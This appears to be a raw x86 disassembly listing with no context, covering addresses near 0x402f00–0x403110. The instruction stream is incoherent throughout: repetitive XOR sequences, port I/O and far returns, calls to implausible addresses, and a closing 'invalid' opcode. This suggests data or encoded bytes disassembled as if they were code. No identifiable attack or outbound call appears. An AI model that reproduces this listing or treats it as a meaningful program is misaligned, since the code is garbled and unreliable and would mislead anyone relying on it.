xor al, 0xb2
push edx
xor esi, dword [ebx]
xor edx, dword [ebx]
mov edi, 0x97ae6c27
ja 0x402f14
xor al, 0xf3
xor esi, dword [ebx]
xor ecx, dword [eax - 0x33]
test al, 0x9e
wait
ja 0x402f20
xor al, 0xb2
push ecx
xor esi, dword [ebx]
xor esi, ebx
mov edi, 0x9baea81a
ja 0x402f2e
sbb ch, byte [eax + 0x43779bae]
xor al, 0xe
xor esi, dword [ebx]
xor esi, dword [ebx - 0x5193d841]
xchg edi, eax
ja 0x402f3b
xor al, 0x2f
das
xor esi, dword [ebx]
xor ecx, dword [eax - 0xc]
test al, 0xa6
wait
ja 0x402f47
xor al, 0xb2
push edx
xor esi, dword [ebx]
xor esi, ebx
mov edi, 0x9b9ea819
ja 0x402f55
xor al, 0xb2
push ecx
xor esi, dword [ebx]
xor edx, dword [ebx]
mov edi, 0x97ae6c27
ja 0x402f63
xor al, 0x13
xor esi, dword [ebx]
xor ecx, dword [eax + 0x1c]
test al, 0xae
wait
ja 0x402f6f
xor al, 0xe
xor esi, dword [ebx]
xor esi, ebx
mov edi, 0x97ae6c29
ja 0x402f7c
xor al, 0x31
xor esi, dword [ebx]
xor esp, dword [esi + 0x43762ba6]
xor al, 0xe2
test al, 0x9e
xchg edi, eax
ja 0x402f8d
xor al, 0xe1
test al, 0xae
xchg ebx, eax
ja 0x402f94
xor al, 0xc8
jae 0x402f60
test al, 0xa6
adc esi, dword [esi + 0x43]
xor al, 0xa8
fbstp tbyte [edx]
sub esp, ecx
test al, 0xae
xchg ebx, eax
ja 0x402fa8
xor al, 0xc8
jae 0x402f74
test al, 0xa6
cmpsb byte [esi], byte es:[edi]
adc esi, dword [esi + 0x43]
xor al, 0xa8
sahf
test al, 0x9e
mov edi, 0x30343434
xor al, 0x30
fbstp tbyte [edx]
daa
loope 0x402faf
push ds
pop ds
add esi, edx
xor ecx, dword [edx + 0x5d]
xor eax, 0x493c3434
cmp al, 0x5d
js 0x402f3d
xor esi, dword [ebx]
xor esi, dword [edx + 0x3333aa51]
xor ebp, eax
mov al, 0x69
mov dh, 6
call 0x6f69949
jbe 0x402fce
xor esi, dword [ebx]
cmp al, 0x60
cmp al, 0x48
cmp al, 0x54
mov dl, 0x65
xchg ecx, eax
xor esi, dword [ebx]
xor edi, dword [edx*2 + 0x73726b24]
xor esi, dword [ebx]
cmp al, 0x55
and al, 0x6b
jb 0x403023
jae 0x402f6a
mov ecx, 0x4b3c5c3c
cmp al, 0x5c
cmp al, 0x4b
cmp al, 0x63
mov dl, 0x55
xchg edx, eax
xor esi, dword [ebx]
xor esi, dword [edx + 0x55]
adc dword [eax + 0x7b], edi
xor esi, dword [ebx]
xor esi, dword [edx + 0x33334054]
xor ebp, ebp
and al, 0x65
mov al, 0x69
mov esi, 0x64725b3c
retf
xor esi, dword [eax + 0x7172d549]
int 0x3c
dec eax
jb 0x403090
stc
in eax, dx
jmp 0x40301a
outsd dx, dword fs:[esi]
cmp al, 0x5c
mov al, 0x71
sub al, 0xb0
jo 0x40308f
cmp al, 0x49
in al, 0xb0
push es
push es
and al, 0x65
mov dl, 0x54
jne 0x4030c9
xor esi, dword [ebx]
mov dl, 0x4d
mov dword [ebx], esi
xor esi, dword [ebx]
cmp al, 0x58
cmp al, 0x48
cmp al, 0x59
call 0x33b97e5b
xor esi, dword [ebx]
jb 0x403102
and al, 0xe9
mov al, 0x59
push dword [edx + 0x64]
insd dword es:[edi], dx
jne 0x403110
xor esi, dword [ebx]
xor esi, dword [eax + 0x442ec168]
xor esi, dword [ebx]
xor esp, dword [esp]
mov al, 0x48
and ch, ah
mov al, 0x70
mov ch, 0xb0
push ebx
jo 0x403080
mov al, 0x53
cli
mov al, 0x53
ret 0x24eb
or al, 0xf3
cmp al, 0x63
mov dl, 0x6c
push esp
xor esi, dword [ebx]
xor edi, dword [ecx + ecx*2]
mov al, 0x70
add dword [eax + 0x5572dc55], esi
invalid